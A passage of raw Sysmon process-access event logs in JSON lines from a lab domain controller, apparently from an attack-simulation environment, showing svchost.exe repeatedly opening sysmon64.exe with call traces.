11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 